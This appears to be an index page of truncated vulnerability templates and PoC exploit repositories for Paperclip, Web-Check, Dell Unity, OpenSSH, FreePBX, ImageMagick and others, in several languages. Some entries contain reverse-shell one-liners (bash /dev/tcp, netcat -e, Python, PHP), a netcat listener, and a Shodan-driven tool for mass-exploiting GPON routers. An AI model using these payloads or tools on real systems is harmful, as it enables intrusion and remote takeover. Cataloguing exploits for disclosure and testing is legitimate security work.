Paperclip - Remote Code Execution

Paperclip 2026.416.0 contains a remote code execution caused by a chain of six unauthenticated API calls in authenticated mode with default configuration, letting unauthenticated attackers execute arbitrary code remotely, exploit requires network access to the target. id: CVE-2026-41679 info: nam...

Web-Check < 2.0.1 Screenshot API - OS Command Injection

Lissy93/web-check contains a command injection caused by unsanitized user input in the screenshot API, letting attackers execute arbitrary system commands, exploit requires sending crafted url parameters. id: CVE-2025-32778 info: name: Web-Check 2.0.1 Screenshot API - OS Command Injection author:...

Nodejs Squirrelly - Remote Code Execution

Nodejs Squirrelly is susceptible to remote code execution. Squirrelly is a template engine implemented in JavaScript that works out of the box with ExpressJS. Squirrelly mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuratio...

Dell UnityVSA < 5.5 - Remote Command Injection

Dell Unity, versions 5.5 and prior, contains an Improper Neutralization of Special Elements used in an OS Command 'OS Command Injection' vulnerability. id: CVE-2025-36604 info: name: Dell UnityVSA 5.5 - Remote Command Injection author: DhiyaneshDK,watchtowr severity: critical description: | Dell...

Magento 2 Amasty Order Attributes < 4.0.0 - Unauthenticated Arbitrary File Upload

Amasty Order Attributes for Magento 2 4.0.0 contains an unrestricted file upload vulnerability caused by lack of authentication and validation in the upload endpoint, letting unauthenticated attackers upload arbitrary files including PHP, enabling remote code execution or malware hosting. id:...

CVE-2023-4542

poc El D-LINK DAR-8000-10 gateway de auditoría de comportamiento en línea tiene vulnerabilidades de ejecución remota de comandos RCE sitio web oficial:http://www.dlink.com.cn/ versión:D-LINK DAR-8000-10 Vea la página de inicio de sesión. Construya la URL:...

CVE-2024-37054-PoC

Descripción Prueba de concepto para CVE-2024-37054, una vulnerabilidad crítica de deserialización en MLflow versiones 0.9.0 a 2.14.1. Cuando un modelo malicioso pyfunc se carga mediante mlflow.pyfunc.loadmodel, el payload pickled ejecuta código arbitrario. Archivos exploit.py — exploit completo:...

CVE-2015-2291

CVE-2015-2291 1 版本低于 1.3.1.0 的 IQVW32.sys 和 2 版本低于 1.3.1.0 的 IQVW64.sys（位于 Windows 版 Intel 以太网诊断驱动程序中）允许本地用户通过特制的 a 0x80862013、b 0x8086200B、c 0x8086200F 或 d 0x80862007 IOCTL 调用导致拒绝服务，或可能以内核权限执行任意代码。 概述 本仓库包含针对该漏洞的分析文章，以及可在 64 位 Windows 7 SP1 和 Windows 10 20H2 上运行的概念验证（PoC）漏洞利用代码。驱动程序文件位于 Driver...

Pingpon-Exploit

PINGPON 漏洞利用工具 作者：@037 Pingpon 是一款利用 Shodan.io 获取数千个易受攻击的 GPON 家庭路由器，然后利用远程代码执行漏洞 CVE-2018-10562 执行任意 Linux 命令的工具。 免责声明 对于使用此工具造成的任何损害或犯下的任何罪行，本人概不负责。 原始脚本：github.com/f3d0x0/GPON 先决条件 您需要安装 Python 3.x root@kitploit: apt-get install python3 您还需要安装 Shodan 和 Request 模块 root@kitploit: pip install...

CVE-2023-27372

CVE-2023-27372 SPIP 4.2.1 之前的版本允许通过在公共区域提交表单值来实现远程代码执行，原因是序列化处理不当。修复版本为 3.2.18、4.0.10、4.1.8 和 4.2.1。 本 PoC 利用了 SPIP 中的 PHP 代码注入漏洞。该漏洞存在于 oubli 参数中，未经身份验证的攻击者可以以 Web 用户权限执行任意命令。涉及分支 3.2、4.0、4.1 和 4.2。受影响版本为 protegechamp 函数使用了错误的正则表达式，未对序列化字符串进行处理： root@kitploit: if pregmatch",^abis:\d+:;,", $texte...

Foxit-Reader-RCE-with-virualalloc-and-shellcode-for-CVE-2018-9948-and-CVE-2018-9958

自定义漏洞利用：Foxit Reader 9.0.1.1049 版本中的释放后重用漏洞及绕过 ASLR 和 DEP 的堆利用 我的自定义漏洞利用：Foxit-Reader-RCE-with-virualalloc-and-shellcode-for-CVE-2018-9948-and-CVE-2018-9958 针对 Win 7 的自定义利用 留有 shellcode 空间 我的自定义 ROP 链在堆中为 shellcode 腾出空间 针对 Win 7...

CVE-2024-24926

CVE-2024-24926 CVE-2024-24926 漏洞影响 WordPress 的 Brooklyn 主题 描述： CVE-2024-24926 漏洞影响 WordPress 的 Brooklyn 主题（版本至 4.9.7.6），与不可信数据的反序列化有关（CWE-502）。攻击者可以向服务器发送恶意对象，可能实现远程代码执行。根据 CVSS v3.1 评估，其得分为 7.5（高危），攻击向量基于网络，高复杂性，需要低权限，且无需用户交互。 PHP 序列化对象示例...

CVE-2023-44760_ConcreteCMS-Stored-XSS---TrackingCodes

ConcreteCMS 存储型 XSS v.9.2.1 作者：Sergio 描述： ConcreteCMS v.9.2.1 中存在多个跨站脚本（Cross Site Scripting）漏洞，本地攻击者可以通过向 SEO 与统计（SEO & Statistics）中的页眉和页脚跟踪代码（Header and Footer Tracking Codes）注入精心构造的脚本，从而执行任意代码。 攻击向量： 脚本注入。SEO 与统计（SEO & Statistics）中的页眉和页脚跟踪代码（Header and Footer Tracking Codes）在输入清理环节存在漏洞，允许注入...

CVE-2026-66066-POC

CVE-2026-66066 的 PoC - 最小化 stock Rails/libvips 实验环境 本仓库复现了 GHSA-xr9x-r78c-5hrm 所描述的 Rails Active Storage 文件读取到 RCE 攻击链，针对 Rails 8.1.3（受影响的 Rails 8.1 最新版本）进行复现。Rails 8.1.3.1 是已修补的对照组。 请仅在此处所述的一次性本地实验环境中使用。HTTP 驱动拒绝非 loopback 目标（不过修改 Python 代码以对其他目标进行授权测试非常简单）。 严格的目标/攻击者边界 目标是常规的 Rails 应用程序。其最终镜像包含...

CVE-2025-47812

CVE-2025-47812 - Wing FTP服务器远程代码执行（RCE） 作者: blindma1den 日期: 2025年7月 漏洞利用类型: 远程代码执行（未认证） 目标: Wing FTP Server & /dev/tcp/IP/PORT 0&1 Python3: python3 -c 'import socket,subprocess,os; ...' Netcat: nc IP PORT -e /bin/sh PHP: php -r '$sock=fsockopen"IP",PORT; ...'...

CVE-2025-57819-RCE

FreePBX 16 — Unauthenticated SQLi to RCE摘要：本說明展示如何組合 FreePBX 16 中的兩個漏洞（CVE-2025-57819 與 CVE-2025-61678），實現從未授權存取提升至遠端程式碼執行（Remote Code Execution, RCE）的完整攻擊鏈。漏洞 CVE 資訊CVE 編號影響元件影響與漏洞類型CVE-2025-57819Endpoint 模組載入器（brand 參數）未授權的多語句 SQL 注入（Unauthenticated Stacked SQL Injection）CVE-2025-61678Endpoint...

CVE-2024-6387

CVE-2024-6387 - PoC 📜 描述 注意：此脚本为快速原型PoC，可能会出现一些错误和问题。 已在以下系统测试：Kali Linux、ParrotSec、Ubuntu 22.04 OpenSSH 服务器中的远程未授权代码执行漏洞 OpenSSH 服务器（sshd）中发现一个信号处理程序竞态条件：当客户端在 LoginGraceTime 秒（默认120秒，旧版 OpenSSH 中为600秒）内未完成认证时，sshd 的 SIGALRM 处理程序会被异步调用。然而，该信号处理程序调用了多个非异步信号安全的函数，例如 syslog。 📁 目录 📖 详细信息 ⚙️ 用法 🔍 主机发现...

CVE-2023-34152

CVE-2023-34152 影响 ImageMagick 6.9.6-4 的 RCE 漏洞。该漏洞允许攻击者在受害者系统上执行命令，从而实现远程命令执行。 这是一个受 fullwaywang 对 CVE-2023-34152 发现启发的 POC。 漏洞披露 root@kitploit: 使用方式：python3 CVE-2023-34152.py 攻击者IP 攻击者端口 描述 OpenBlob 中存在一个任意代码执行漏洞（shell 命令注入），这实际上是对 CVE-2016-5118 的不完全修复。 CVE-2016-5118 表明，打开任何文件名以 '|'...

CVE-2023-6019

Ray OS 命令注入 RCE（未授权） 使用方法： 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

CVE-2025-34040Exp

致远OA存在文件上传导致RCE（CVE-2025-34040） 参数 root@kitploit: options: -h, --help show this help message and exit -u URL, --url URL 请输入待检测的URL -f FILE, --file FILE 请输入一行一个URL的文件地址 -n FILENAME, --filename FILENAME 请输入文件名（默认为Hello.jsp）： -c CONTENT, --content CONTENT 请输入上传的文件内容（默认为HelloWord）： 样例 root@kitploit:...